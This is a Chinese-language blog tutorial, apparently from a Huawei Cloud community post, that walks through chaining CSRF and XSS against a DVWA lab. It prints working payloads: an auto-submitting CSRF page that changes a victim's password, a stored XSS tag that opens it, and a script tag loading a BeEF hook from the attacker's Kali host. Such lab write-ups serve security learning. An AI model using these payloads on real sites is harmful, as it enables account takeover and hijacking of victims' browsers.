2024全网最全面及最新的网络安全技巧 (2-2) 之 CSRF+XSS漏洞的各类利用技巧 ———— 作者:LJS
【摘要】 存储型 XSS + CSRF以及CSRF + SelfXSS 具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
2.3 漏洞组合拳之XSS+CSRF记录
2.3.1 前言
- 今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下
2.3.2靶场环境
- 本机(Win):192.168.38.1
- DVWA(Win):192.168.38.132
- Beef(Kali):192.168.38.129
2.3.3 组合拳思路
- 第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
- 第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)
2.3.4 【第一拳】存储型 XSS + CSRF
(1) 构造 POC
- a、构造 CSRF 代码
- 这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
- 本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。
- 继续来看,咱们需要首先为浏览器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
- 器设置 8080 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
- 这时先开启 CSRFTester 的流量记录功能。
- 开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
- 之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
- 之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
-
- 对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html>
<body onload="javascript:fireForms()">
<!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。
-->
<script language="JavaScript">
var pauses = new Array( "42" );
<!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。-->
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
<!--用于实现停顿,即在指定的时间内等待执行下一步操作。-->
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
<!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作-->
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<!--定义了一个 GET 方法的表单,
其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标,
同时提供了新密码、确认密码和修改操作的参数。-->
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<!--隐藏的表单输入,用于指定要修改的密码。-->
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
<!--综合起来,这段代码的作用是在页面加载完成后,
自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL,
从而进行 CSRF 攻击。-->
-
b、构造 XSS 代码
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script> /*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。 当 src 属性指定的资源加载失败时, 就会执行这段 JavaScript 代码。 代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL, 即 "http://192.168.38.1/csrf.html"。*/
(2) 开工
- 在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
- 在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500
- 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.
- 访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
2.3.5【第二拳】CSRF + SelfXSS
(1)构造 POC
- a、构造 XSS 代码
- 我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
- b、构造 CSRF 代码
- 这里继续使用 CSRFTester 工具生成 CSRF POC。
- 具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
-
<html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "54" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>"> <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> /*这段代码包含一个 <form> 元素, 它的 action 属性指向一个可能存在 XSS 漏洞的网页, 并且带有一个参数名为 'name' 的 GET 请求参数, 其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。 同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/ </form> </body> </html> /*综合来看,这段代码利用了 JavaScript 来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面, 以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
-
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
-
http://192.168.38.1/csrf.html
- 打开链接后,beef 中就能看到上线的主机了。
- 不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
2.4 总结
- 暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)